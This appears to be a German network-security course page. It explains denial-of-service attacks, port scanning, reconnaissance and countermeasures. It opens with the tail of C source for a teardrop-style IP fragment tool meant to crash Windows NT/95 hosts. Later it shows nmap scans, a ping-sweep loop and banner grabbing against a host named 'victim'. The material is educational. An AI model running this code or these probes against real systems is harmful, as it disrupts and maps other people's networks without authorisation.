                                                   send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
                                                   fprintf(stderr, "b00m ");
                                                   usleep(500);
                                               }
                                               fprintf(stderr, "]\n");
                                               return (0);
                                           }
                                           
                                           /*
                                            *  Send two IP fragments with pathological offsets.  We use an 
                                            *  implementation independent way of assembling network packets 
                                            *  that does not rely on any of the diverse O/S specific 
                                            *  nomenclature hinderances (well, linux vs. BSD).
                                            */
                                           
                                           void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                                                           u_short dst_prt)
                                           {
                                               u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
                                               u_char byte;                            /* a byte */
                                               struct sockaddr_in sin;                 /* socket protocol structure */
                                           
                                               sin.sin_family      = AF_INET;
                                               sin.sin_port        = src_prt;
                                               sin.sin_addr.s_addr = dst_ip;
                                           
                                               /*
                                                * Grab some memory for our packet, align p_ptr to point at the beginning
                                                * of our packet, and then fill it with zeros.
                                                */
                                               packet = (u_char *)malloc(IPH + UDPH + PADDING);
                                               p_ptr  = packet;
                                               bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
                                           
                                               byte = 0x45;                        /* IP version and header length */
                                               memcpy(p_ptr, &byte, sizeof(u_char));
                                               p_ptr += 2;                         /* IP TOS (skipped) */
                                               *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
                                               p_ptr += 2;
                                               *((u_short *)p_ptr) = htons(242);   /* IP id */
                                               p_ptr += 2;
                                               *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
                                               p_ptr += 2;
                                               *((u_short *)p_ptr) = 0x40;         /* IP TTL */
                                               byte = IPPROTO_UDP;
                                               memcpy(p_ptr + 1, &byte, sizeof(u_char));
                                               p_ptr += 4;                         /* IP checksum filled in by kernel */
                                               *((u_long *)p_ptr) = src_ip;        /* IP source address */
                                               p_ptr += 4;
                                               *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
                                               p_ptr += 4;
                                               *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
                                               p_ptr += 2;
                                               *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
                                               p_ptr += 2;
                                               *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
                                           
                                               if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                                                           sizeof(struct sockaddr)) == -1)
                                               {
                                                   perror("\nsendto");
                                                   free(packet);
                                                   exit(1);
                                               }
                                           
                                               /*  We set the fragment offset to be inside of the previous packet's
                                                *  payload (it overlaps inside the previous packet) but do not include
                                                *  enough payload to cover complete the datagram.  Just the header will
                                                *  do, but to crash NT/95 machines, a bit larger of packet seems to work
                                                *  better.
                                                */
                                               p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
                                               *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
                                               p_ptr += 4;                 /* IP offset is 6 bytes into the header */
                                               *((u_short *)p_ptr) = FIX(MAGIC);
                                           
                                               if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                                                           sizeof(struct sockaddr)) == -1)
                                               {
                                                   perror("\nsendto");
                                                   free(packet);
                                                   exit(1);
                                               }
                                               free(packet);
                                           }
                                           
                                           u_long name_resolve(u_char *host_name)
                                           {
                                               struct in_addr addr;
                                               struct hostent *host_ent;
                                           
                                               if ((addr.s_addr = inet_addr(host_name)) == -1)
                                               {
                                                   if (!(host_ent = gethostbyname(host_name))) return (0);
                                                   bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
                                               }
                                               return (addr.s_addr);
                                           }
                                           
                                           void usage(u_char *name)
                                           {
                                               fprintf(stderr,
                                                       "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
                                                       name);
                                               exit(0);
                                           }
                                           

  • Ping Flooding
    Das Ping Flooding gehört zu Denial of Service-Attacks, die keine Sicherheitslöcher ausnutzen. Pings werden benutzt, um die Erreichbarkeit von anderen Hosts im Netz zu prüfen. Beim Ping Flooding wird ein Host jedoch mit unzähligen Ping-Anfragen bombadiert, die der Host dann natürlich alle bearbeitet (falls keine entsprechenden Mechanismen die Abarbeitung von rasch wiederholenden Ping-Anfragen verhindert) und entsprechend das eigene System und die Netzverbindung auslastet. Ping Flooding ist einer der Denial of Service-Attacken, die richtig teuer werden können: Wird eine Netzverbindung eines Hostes nämlich nach dem erzeugten Datenaufkommen abgerechnet, können teilweise horrende Summen entstehen.

  • Service-Overloading
    Einen ähnlichen Weg wie beim Message-Flooding gehen die Service-Overloading-Attacks. Allerdings werden hier gezielt Services angesprochen, die einen Großteil der Rechnerresourcen aufzehren können. Dabei ist hier nicht die Menge der Nachrichten ausschlaggebend, sondern es kann hier unter Umständen sogar eine einzige Nachricht genügen. Für einen solchen Angriff anfällig sind z. B. der finger-Dienst, der auf den meisten Rechnern zur Verfügung steht. Aber auch speziellere Dienste, wie etwa ein Datenbankserver, die nicht genügend gesichert sind, kommen als Angriffspunkte in Frage. Bei einem Datenbanksystem kann eine entsprechend formulierte Abfrage (etwa ein Join über mehrere Tabellen) die Systemresourcen bis an die Grenzen belasten.

  • Angriff mit UDP: Packet Storm
    UDP (User Datagram Protocol) ist nicht verbindungsorientiert und hat keine Flusskontrolle, man kann daher ein Netz mit Paketen überfluten. Mit Hilfe eines gefülschten UDP-Paketes kann man beispielsweise den "chargen"-Dienst (Generieren eines Zeichenstroms für Testzwecke) eines Rechners mit dem "echo"-Dienst (Alle empfangenen Zeichen zurückschicken) eines anderen Rechners verbinden. Man schickt dazu ein UDP Paket, bei dem als Absender der Port des "chargen"-Dienstes eingetragen ist, an den "echo"-Dienst (Spoofing). Der "chargen"-Rechner sendet nun kontinuerlich Zeichen, die ebenso kontinuierlich vom "echo"-Dienst beantwortet werden. Dadurch entsteht ein unglaublich hoher Packetverkehr, der Server und Netzwerk außer Gefecht setzt.

  • Distributed Denial-of-Service-Attacks (DDoS)
    Diese Art von Denial-of-Service-Attacken sind genau genommen keine eigenen Attackeverfahren, sondern beziehen sich auf den Angriffsweg. Im Gegensatz zu einer einfachen Denial-of-Service-Attacke werden Distributed Denial-of-Service-Attacken nicht nur über einen Angriffsrechner gefahren, sondern gleichzeitig im Verbund mit mehreren Rechnern. Zu diesem Zweck plaziert ein Angreifer ein sogenanntes Trojanisches Pferd auf verschiedenen Rechnern im Internet, vornehmlich auf Rechner, die per Standleitung und besonders breitbandig angebunden sind. Diese Plazierung kann auch schon Monate vor eigentlichen Angriffen erfolgen. Wird nun ein Angriff auf ein bestimmtes Opfer gestartet, erfolgen die Angriffe über die Rechner, auf denen das trojanische Pferd installiert ist, gleichzeitig und erzeugen in der Gesamtheit ein enormes Angriffsvolumen.

    Ein DDoS Angriff besteht aus zwei Phasen. In Phase 1 beschafft sich ein Angreifer mittels bekannter Schwachstellen Zugriff auf eine große Zahl von Systemen, die später den eigentlichen DDoS-Angriff ausführen sollen. Der Angreifer installiert dazu auf den "Angriffsrechnern" Programme, die zeitgesteuert oder auf Kommando den einen DoS-Angriff gegen das gewünschte Ziel führen.

    Beispiel: Tribe Flood Network:
    Das TFN bietet die Möglichkeit, SYN, UDP und ICMP Angriffe zu führen. Dazu stellt es eine Client-Server-Struktur bereit. Der Server wird auf einer Vielzahl von Systemen installiert und kann dann vom Client aktiviert werden, um einen Angriff zu starten. Da die Kommunikation mit dem Server nicht passwortgeschützt verläuft, kann jeder einem installierten Server einen Angriff befehlen. Dazu muß man lediglich wissen, auf welchen Rechnern der TFN-Server installiert ist. Dies lässt sich leicht mittels Port-Scan oder im Internet kursierenden Listen herausfinden. Die eigentliche Arbeit des Beschaffens von DDoS-Angriffsrechnern entfällt somit. Einen TFN-Angriff kann jeder führen, der im Besitz des Client ist.

    Die Bekämpfung von Distributed Denial-of-Service-Attacken ist extrem schwierig. Bei einem akuten Angriff kann der Administrator des angegriffenen Rechners lediglich die Datenflut von angreifenden Servern filtern, zum Beispiel über eine Firewall, um so wenigstens die Server zu schützen. Das Netz ist jedoch im Regelfalle trotzdem nicht erreichbar, da die Anbindung selbst überlastet wird. Das folgende Bild zeigt, wie ein DDoS-Angriff in der Verkehrsstatistik aussieht.

Hacker-Angriffe über Ports

Der erste Schritt eines Hackers, Portscans, verraten, welche Dienste auf einem Rechner aktiv sind und geben so Hinweise auf Angriffspunkte. Alle TCP/IP-Dienste benutzen Ports. Verbindungen werden stets zwischen einem Port auf dem Quellrechner und einem Port auf dem Zielrechner hergestellt. Der Ziel-Port identifiziert gleichzeitig die Art des Dienstes. Als "wellknown" Ports sind beispielsweise 80 für WWW, 21 für FTP und 23 für Telnet festgelegt. Portscanner durchsuchen einen oder mehrere Rechner nach erreichbaren Diensten. Je nach Zweck des Portscans werden sowohl bekannte als auch unbekannte Ports untersucht. Die Erkennung offener Ports bedeutet auch die Erkennung laufender Services. Weiterhin kann man mit Portscannern Firewall-Konfigurationen testen oder Betriebssysteme erkennen.
Es gibt sogar Methoden, einen Portscan durchzuführen, ohne die eigene IP-Adresse preisgeben zu müssen:
  • TCP Connect Scanning:
    Hierbei wird eine gewöhnliche TCP-Verbindung geöffnet. Dazu sind keine besonderen Vorkehrungen erforderlich. Die Systemfunktion liefert eine direkte Rückmeldung über Erfolg oder Fehlschlag des Versuchs. Das geht sogar von Hand. Einfach eine Telnet-Verbindung zum gewünschten Port aufmachen. Der TCP-Connect-Scan ist der einzige TCP-Scan, der keine root-Rechte benötigt. Zudem ist er sehr schnell. Er kann jedoch auch mit einfachen Methoden erkannt werden, da ein kompletter Verbindungsaufbau durchgef"uhrt wird und so die eigene IP-Adresse vom Gegenüber mitprotokolliert werden kann. Beispiel:
                                           nmap -P0 -sT -p 79, 80 localhost
                                           localhost -> localhost  TCP 3721 > finger [SYN] Seq=108672 Ack=0 Win=16384 Len=0 
                                           localhost -> localhost  TCP finger > 3721 [RST, ACK] Seq=0 Ack=108673 Win=0 Len=0 
                                           localhost -> localhost  TCP 3722 > http [SYN] Seq=231337 Ack=0 Win=16384 Len=0 
                                           localhost -> localhost  TCP http > 3722 [SYN, ACK] Seq=350423 Ack=231338 Win=57344 Len=0 
                                           localhost -> localhost  TCP 3722 > http [ACK] Seq=231338 Ack=350424 Win=57344 Len=0 
                                           localhost -> localhost  TCP 3722 > http [RST, ACK] Seq=231338 Ack=350424 Win=57344 Len=0
                                           
  • TCP SYN Scanning:
    Beim sogenannten "half open scan" wird nur das allererste Paket, ein SYN-Paket, geschickt. Anhand der Antwort (SYN/ACK oder RST) läßt sich bereits erkennen, ob der Port aktiv ist. Aktive Ports werden sofort wieder geschlossen (RST senden), so daß die Gegenstelle kaum eine Gelegenheit hat, die eigene IP-Adresse festzustellen. Beispiel:
                                           nmap -P0 -sS -p 79, 80 localhost
                                           localhost -> localhost    TCP 50529 > finger [SYN] Seq=6275 Ack=0 Win=2048 Len=0 
                                           localhost -> localhost    TCP finger > 50529 [RST, ACK] Seq=0 Ack=06276 Win=0 Len=0 
                                           localhost -> localhost    TCP 50529 > http [SYN] Seq=6275 Ack=0 Win=2048 Len=0 
                                           localhost -> localhost    TCP http > 50529 [SYN, ACK] Seq=564532 Ack=6276 Win=49152 Len=0 
                                           localhost -> localhost    TCP 50529 > http [RST] Seq=6276 Ack=0 Win=0 Len=0
                                           
  • TCP FIN Scanning:
    Hier wird ein FIN-Paket an das jeweilige Port geschickt. Das funktioniert teilweise sogar durch Firewalls hindurch. Bei den meisten Rechnern antworten inaktive Ports mit einem RST (Reset), während aktive Ports das FIN-Paket ignorieren. Windows hält sich allerdings nicht an diesen Standard, so daß hier FIN-Scans fehlschlagen. Beispiel:
                                           nmap -P0 -sF -p 79, 80 localhost
                                           localhost -> localhost    TCP 49452 > finger [FIN] Seq=0 Ack=0 Win=3072 Len=0
                                           localhost -> localhost    TCP finger > 49452 [RST, ACK] Seq=0 Ack=0 Win=0 Len=0
                                           localhost -> localhost    TCP 49452 > http [FIN] Seq=0 Ack=0 Win=3072 Len=0
                                           localhost -> localhost    TCP 49453 > http [FIN] Seq=0 Ack=0 Win=3072 Len=0
                                           
    Der XMAS-Scan ist eine Abwandlung des FIN-Scan. Zus"atzlich zum FIN sind die Flags PSH und URG gesetzt.

  • Ident-Scanning:
    Der Ident-Dienst liefert eine zusätzliche Informationsebene über aktive Ports, nämlich den Benutzernamen. Dieser ist für manche Angriffe wichtig, da er verrät, welche Zugriffsrechte der Server-Dienst auf dem jeweiligen Port besitzt.

  • FTP Bounce Port Scanning:
    Hier wird die eingebaute Proxy-Funktion von RFC-konformen FTP-Servern benutzt, um die eigene Identität zu verstecken.

  • UDP Port Scanning:
    Dies ist schwieriger, da vom Protokoll her keine Antwort auf UDP-Pakete vorgesehen ist. Viele Rechner liefern aber eine Rückmeldung mittels ICMP: Die Antwort 'ICMP Port unreachable' deutet dann auf inaktive Ports hin. Beispiel:
                                           nmap -P0 -sU -p 513, 514 localhost
                                           localhost -> localhost    WHO Source port: 33108  Destination port: who
                                           localhost -> localhost    ICMP Destination unreachable
                                           localhost -> localhost    UDP Source port: 33600  Destination port: syslog
                                           localhost -> localhost    UDP Source port: 33601  Destination port: syslog
                                           
    Der UDP-write/recvfrom-Scan ist ein UDP-ICMP-Scan, der vollkommen ohne root-Rechte durchgeführt werden kann. Die Schwierigkeit besteht darin, zu erkennen, dass "ICMP port unreachable" gesendet wurde. Der UDP-write-Scan basiert darauf, dass der Empfang des "ICMP port unreachable" durch das Fehlschlagen eines zweiten write-Aufrufs angezeigt wird. Die Grundlage des UDP-recvfrom-Scan ist, dass das Erhalten des "ICMP port unreachable" bei einem recvfrom-Aufruf auf einen NONBLOCKING-Socket durch das Setzen von ERRNO auf 111 (ECONNREFUSED) angezeigt wird.
  • ICMP Echo Scanning:
    Geht es lediglich darum, die Existenz fremder Rechner festzustellen, hilft ein automatisches ping (siehe unten).

Wie erkennt man einen Portscan?

  • In einer relativ kurzen Zeit wird eine größere Anzahl von Ports angesprochen.
  • Das zuerst an einen Port gesendete Paket ist charakteristisch für Stealth-Scans.
  • Ungewöhnlich hoher Anteil von ICMP-Port-Unreachable-Meldungen.
  • Generell: "ungewöhnliche" Netzwerkaktivität.
Aufspüren mit netzwerkbasierten Intrusion Detection Systemen, durch Monitoring von Logfiles, mit nmap, netstat, lsof, nessus. Zum Beispiel können mit Hilfe von netstat aktive Verbindungen aufgelistet werden:
                                       $ netstat
                                       Aktive Internetverbindungen (ohne Server)
                                       Proto Recv-Q Send-Q Local Address           Foreign Address         State
                                       tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1090 VERBUNDEN
                                       tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1088 VERBUNDEN
                                       tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1094 VERBUNDEN
                                       tcp        0      0 www.ee.fhm.edu:www-http otdial-212-144-110:1092 VERBUNDEN
                                       tcp        0      0 www.ee.fhm.edu:www-http 212.123.104.2:61892     VERBUNDEN
                                       tcp        0      0 www.ee.fhm.edu:www-http 212.123.104.2:61893     VERBUNDEN
                                       tcp        1  47784 www.ee.fhm.edu:www-http niven.antares.de:44742  CLOSE_WAIT
                                       tcp        0   6343 www.ee.fhm.edu:www-http niven.antares.de:44744  FIN_WAIT1
                                       ...
                                       
                                       
                                       $ lsof | grep -v root
                                       COMMAND     PID  USER   FD   TYPE DEVICE    SIZE   NODE NAME
                                       bash      22644 plate  cwd    DIR   8,17    2048   2049 /home/plate
                                       bash      22644 plate  rtd    DIR    8,2    1024      2 /
                                       bash      22644 plate  txt    REG    8,2  475348  57124 /bin/bash
                                       bash      22644 plate  mem    REG    8,2  148968  63290 /lib/ld-2.0.7.so
                                       bash      22644 plate  mem    REG    8,2  500910  63289 /lib/libncurses.so.4.2
                                       bash      22644 plate  mem    REG    8,2   65006  63296 /lib/libdl.so.2
                                       bash      22644 plate  mem    REG    8,2 2475225  63293 /lib/libc.so.6
                                       bash      22644 plate  mem    REG    8,2  113110  63299 /lib/libnss_compat.so.1
                                       bash      22644 plate  mem    REG    8,2  106544  63298 /lib/libnsl.so.1
                                       bash      22644 plate  mem    REG    8,2  167648  63302 /lib/libnss_files.so.1
                                       bash      22644 plate    0u   CHR    3,0           3493 /dev/ttyp0
                                       bash      22644 plate    1u   CHR    3,0           3493 /dev/ttyp0
                                       bash      22644 plate    2u   CHR    3,0           3493 /dev/ttyp0
                                       bash      22644 plate  255u   CHR    3,0           3493 /dev/ttyp0
                                       ...
                                       
                                       
Es gibt zwei verschiedene Arten von Portscan-Erkennungsprogrammen:
  1. Der Portscan-Detector nistet sich auf bestimmten Ports ein und registriert Verbindungsversuche. Diese Methode benötigt keine root-Rechte und ist Ressourcen schonend.SIe ist jedoch durch Stealth-Scans einfach zu umgehen und das System stößt schnell an die Grenze der maximal offenen Dateien
  2. Der Portscan-Detector snifft den gesamten Netzwerkverkehr auf einem Device mit und registriert verdächtige Pakete. Dieses Verfahren ist schwer zu umgehen aber Ressourcen fressend.
Eine Umgehung des Erkennungsmechanismus ist trotzdem möglich, z. B. durch stark fragmentierte Pakete (selbst die Header sind fragmentiert) oder durch Umgehung des Loggingmechanismus mittels Log-Floodging (Massen-Scans). Bekannte Scan-Erkennungsprogramme sind "Scanlogd" (http://www.openwall.com/scanlogd/) "Snort-Portscan-Preprocessor" (http://www.snort.org/) oder "Portsentry" (http://www.psionic.com/abacus/portsentry/).

Security im Application Layer

Der Application Layer bietet viele Möglichkeiten für Angreifer in ein (geschütztes) Netzwerk einzudringen. Die Sicherheitsprobleme hier sind sehr vielfältig und von den einzelnen Applikationen abhängig. Oft lassen sich Sicherheitslücken auf Fehler in Konzeption und Implementation der Applikationen zurückführen. Allerdings kann auch eine falsche oder ungenügende Konfiguration einer Applikation einem Angreifer Tür und Tor öffnen. In diese Gruppe gehören Viren und Trojanische Pferde.

Auf dieser Ebene kann ein Angreifer auch versuchen, allgemeine Informationen über seine 'Opfer' einzuholen. Eine erst Möglichkeit ist das Abscannen eines Netzes auf 'aktive' IP-Adressen, d. h. IP-Adressen, unter denen ein Rechner ansprechbar ist. Dazu genügt das ping-Kommando. Ein kleines Shell-Skript erledigt die Arbeit in Sekunden (unter Solaris liefert ping als Default nur 'xxx is alive.' oder 'xxx unreachable.'. Gegebenenfalls ist ping mit geeigneten Parametern zu versehen):

                                       for VICTIM in `seq 1 254`
                                       do
                                         ping 192.168.1.$VICTIM
                                       done
                                       
Jetzt kennt der Angreifer alle in Frage kommenden Opfer (auch wenn sie keinen Nameservereintrag besitzen). Die nächste Stufe könnte der Einsatz eines Portscannes sein. Oder man sucht mal nach Benutzern auf dem Rechner.

Das geht mit dem finger-Kommando. Das finger-Kommando erlaubt es, Informationen über Benutzer zu erlangen, weshalb es aus Gründen des Datenschutzes oft auch gesperrt wird. Mit dem Kommando 'finger user@host' kann man sich über einen bestimmten Benutzer informieren. Die Ausgabe sieht beispielsweise folgendermaßen aus:

                                           Login: plate Name: Juergen Plate
                                           Directory: /home/plate Shell: /bin/sh
                                           No unread mail.
                                           On since Sun Nov 20 19:36 (MET) on ttyp3
                                           No Plan.
                                       
Die Informationen werden einigen Standarddateien des Rechners entnommen.
Eine weitere Möglichkeit bietet das 'fingern' eines anderen Hostrechners. Man erhält dann Information darüber, welche Benutzer eingeloggt sind. Zusammen mit einer Nameserveranfrage erhält man dann schon eine Liste von Mailadressen für Spam und eine Liste von Usernamen zum Angriff auf die einzelnen Accounts.

Nun sehen wir auf den offenen Ports mal nach, welche Version die Server-Dienste haben. Ist der Administrator nachlässig, findet sich vielleicht Software, für die schon eine Sicherheitslücke veröffentlicht wurde. Mit viel Glück findet ein Scriptkiddie sogar noch ein "Exploit", ein Programm, das die Sicherheitslücke demonstriert.
Das Ausspähen der Server-Dienste erfolgt einfach per Telnet auf die entsprechenden Ports. Das folgende Beispiel zeigt eine Untersuchung der Ports 23 (Telnet), 25 (Mail), 21 (FTP) und 80 (HTTP). Die Eingabe sind fett wiedergegeben:

                                       plate@multimedia:~ > telnet victim 23
                                       Trying 141.39.253.196...
                                       Connected to victim.
                                       Escape character is '^]'.
                                       Connection closed by foreign host.
                                       
Der Telnet-Port ist also offen.
                                       plate@multimedia:~ > telnet victim 25
                                       Trying 141.39.253.196...
                                       Connected to victim.
                                       Escape character is '^]'.
                                       220 victim.e-technik.fh-muenchen.de ESMTP Sendmail 8.9.3/8.9.3; Mon, 
                                       8 Jul 2002 08:01:14 +0200
                                       quit
                                       221 victim.e-technik.fh-muenchen.de closing connection
                                       Connection closed by foreign host.
                                       
Auf dem Opfer läft also Sendmail, Version 8.9.3. Der ist nicht mehr ganz neu!
                                       plate@multimedia:~ > telnet victim 21
                                       Trying 141.39.253.196...
                                       Connected to victim.
                                       Escape character is '^]'.
                                       220-     Youre welcome on the FTP - Server
                                       220-     victim.e-technik.fh-muenchen.de
                                       220-
                                       220-     Please try 'ftp' for anonymous login
                                       220-
                                       220 victim.e-technik.fh-muenchen.de FTP server (Version wu-2.4.2-academ[BETA-18]
                                           (1) Sun Apr 4 23:07:17 /etc/localtime 1999) ready.
                                       quit
                                       221 Goodbye.
                                       Connection closed by foreign host.
                                       
Das läuft der Wu-FTP-Server, Version 2.4.2, der auch nicht mehr ganz neu ist. Außerdem sollte man es mal mit anonymem FTP probieren.
                                       plate@multimedia:~ > telnet victim 80
                                       Trying 141.39.253.196...
                                       Connected to victim.
                                       Escape character is '^]'.
                                       GET /index.html HTTP/1.0
                                       accept: */*
                                       
                                       HTTP/1.1 200 O.K.
                                       Date: Mon, 08 Jul 2002 06:02:39 GMT
                                       Server: mod_perl/1.18 Apache/1.3.4 (Unix)  (SuSE/Linux) PHP/3.0.7
                                       Connection: close
                                       Content-Type: text/html
                                       
                                       <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
                                       
                                       ...
                                       
                                       Connection closed by foreign host.
                                       
Hier erfahren wir sehr viel. Der Apache-Server mit der Version 1.3.4 ist auch nicht der jüngste. Zudem wird uns mitgeteilt, daß es sich um das Betriebssystem Linux handelt (Distribution von SuSE). An den Versionsnummern des Perl- und PHP-Moduls könnte man sogar die Version der Distribution ermitteln. Wenn man jetzt weitere Ports abklappert (POP3, IMAP, Finger, usw.) und die CERT-Advisories durchsieht, findet man sicher etliche Angriffspunkte auf das System.

Der whois-Dienst liefert Informationen über Netzteilnehmer, sofern sich diese bei einem Whois-Server haben registrieren lassen. Das kann man über ein Formular, netinfo/user-template.txt auf nic.ddn.mil, machen, das dann an registar@nic.ddn.mil geschickt wird). Das Kommando lautet:

                                           whois Namensangabe
wenn der voreingestellte Server verwendet wird. Mit Serverangabe lautet das Kommando:
                                           whois -h Serverrechner Namensangabe
Man erhält dann alle Angaben aus der Datenbank, die zur Namensangabe passen. Als Namensangabe kann entweder ein Userpseudonym (Login-Name) oder der "echte" Name, eventuell als 'Nachname, Vorname', angegeben werden. Bei grafischen Benutzerschnittstellen erfolgt die Parameterangabe über Dialogfelder und nicht in der Kommandozeile. Als Whois-Server können Sie 'whois.nic.de' oder 'whois.internic.net' angeben.
Durch die Angabe 'do Rechnerdomain' können Infos über die entsprechende Domain eingeholt werden. Ebenso kann man sich mit 'host Rechnername' über einzelne Computer oder mit 'net Netzwerknummer' über Netze informieren.
Fehlt das Whois-Kommando, öffnet man eine Telnet-Verbindung zu nic.ddn.mil und gibt 'whois' nach dem Prompt ein. Auf den Prompt 'Whois:' hin kann man interaktive Anfragen absetzen (z. B. das 'help'-Kommando).

Über das Common Gateway Interface, also über CGI-Scripts, können Attacken gestartet werden. Normalerweise erlaubt ein CGI-Script dem Benutzer einer Website, interaktive Prozesse vom Browser auszulösen, z. B. auf eine Datenbank zuzugreifen oder ein Formular vom Server auswerten zu lassen. Die Sicherheitslücken bei CGI-Programmen entstehen durch Fehlkonfiguration der Serversoftware und durch Fehler im Script selbst. Dazu ist es nicht notwendig, daß das Script von Haus aus dazu angelegt ist Schaden anzurichten. Oft reicht eine fehlende Sicherheitsabfrage, die unabsichtlich oder aus Bequemlichkeit nicht eingebaut wurde. Deshalb sollten bei CGI-Programmen grundsätzlich alle Eingaben als "böse" betrachtet werden. Zu bedenken ist auch, daß der Angreifer nicht unbedingt das entworfene Formular ausfüllen muß. Er kann seine Eingaben für das CGI-Programm auch direkt in der URL-Zeile des Browsers tätigen.
Ein weiterer Angriffspunkt ist die die Speicherung unerwünschter Daten auf dem Server. Dazu ein Beispiel: Viele Webseiten bieten Gästebücher an, in die jeder etwas eintragen kann. Der Hacker trägt neben "normalem" Text auch HTML-Code, z. B. eine URL, ein Javascript-Programm oder eine Referenz auf ein Active-X-Control ein. Leser des Gästebuches erleiden durch diese Teile der Seite Schaden - oder werden auch nur beleidigt. Es gab den Fall, daß irgendwelche "Spaßvögel" im Gästebuch von McDonalds Links auf Porno-Sites hinterlassen haben.
Um auch bei Fehlern in den Skripts möglichst wenig Angriffsfläche zu bieten, darf der WWW-Server nur unter einer Benutzerkennung mit möglichst wenig Rechten laufen (z. B. "nobody"). Auch die CGI-Programme dürfen nur unter geringen Rechten laufen, niemals als Root-Programme. Alle CGI-Scripte gehören in ein spezielles Verzeichnis, etwa "serverhost/cgi-bin", in das nichts anderes kommt.

Auf Gefahren, die speziell die Anwenderseite betreffen, wird in diesem Kapitel eingegangen.

Überblick Bedrohungen/Gegenmaßnahmen

 BedrohungAngriffMaßnahme
ICMP Eindringen, Denial-of-Service Redirect, TTL-Exceeded, Destination Unreachable, Ping-of-Death Authentisierung, Filtern, auf Router abweisen, Overflow abfangen
TCP Eindringen, Maskerade, Denial-of-Service Hijacking, Asynchrone State, IP-Spoofing, SYN-Flooding Übernahme privilegierter Rechte verhindern, Überwachung, Verschlüsselung, Authentisierung,Signatur, IP-Spoofing verhindern
UDP Eindringen, Maskerade, Denial-of-Service UDP-Spoofing, Flooding, echo, Ausnutzen privilegierter Ports Schutz auf Applikationsebene, chargen und echo filtern, Antworten auf echo filtern, Portnummern kleiner 1024 filtern
DNS Maskerade, Denial-of-Service IP-Spoofing, Sniffing, Penetration des DNS-Caches Splitten der DNS-Server, Inverse DNS-Anfragen filtern, IP-Spoofing verhindern
ARP Maskerade, Umleiten Fälschen von ARP-Antworten ARP-Tabellen fixieren, ARP-Request auf Firewalls abblocken
RIP Maskerade, Umleiten Loose-Source-Routing, RIP-Spoofing Filtern von Loose-Source-Routing-Paketen, Statisches Routen
SNMP Maskerade, Eindringen Abhören der Community-Strings Filtern, Verschlüsselung, nicht über Firewall zulassen
NIS/NIS+ Maskerade, Eindringen Umleiten, Dateidiebstahl, Brute-Force-Attacke Filtern, starke Authentisierung nicht über Firewall zulassen
FTP Maskerade, Eindringen, Manipulation, Informationsdiebstahl FTP-Hijacking, cwd, cdup, retr, stor, dele, list, nlist, site, syst, port Anonymous FTP Filtern, Rechteverwaltung, port durch pasv ersetzen, Zugriff nur auf ausgewählte Daten erlauben

DIPLOMARBEITEN UND BÜCHER

Diplomarbeiten zum Runterladen:

Suche im Katalog:
Architektur / Raumplanung
Betriebswirtschaft - Funktional
Erziehungswissenschaften
Geowissenschaften
Geschichtswissenschaften
Informatik
Kulturwissenschaften
Medien- und Kommunikationswissenschaften
Medizin
Psychologie
Physik
Rechtswissenschaft
Soziale Arbeit
Sozialwissenschaften


JOBS
HOME | E-LEARNING | SITEMAP | LOGIN AUTOREN | SUPPORT | FAQ | KONTAKT | IMPRESSUM
Virtual University in: Italiano - Français - English - Español
VirtualUniversity, WEB-SET Interactive GmbH, www.web-set.com, 6301 Zug

Partner:   Seminare7.de - PCopen.de - HTMLopen.de - WEB-SET.com - YesMMS.com - Ausbildung24.ch - Manager24.ch - Job und Karriere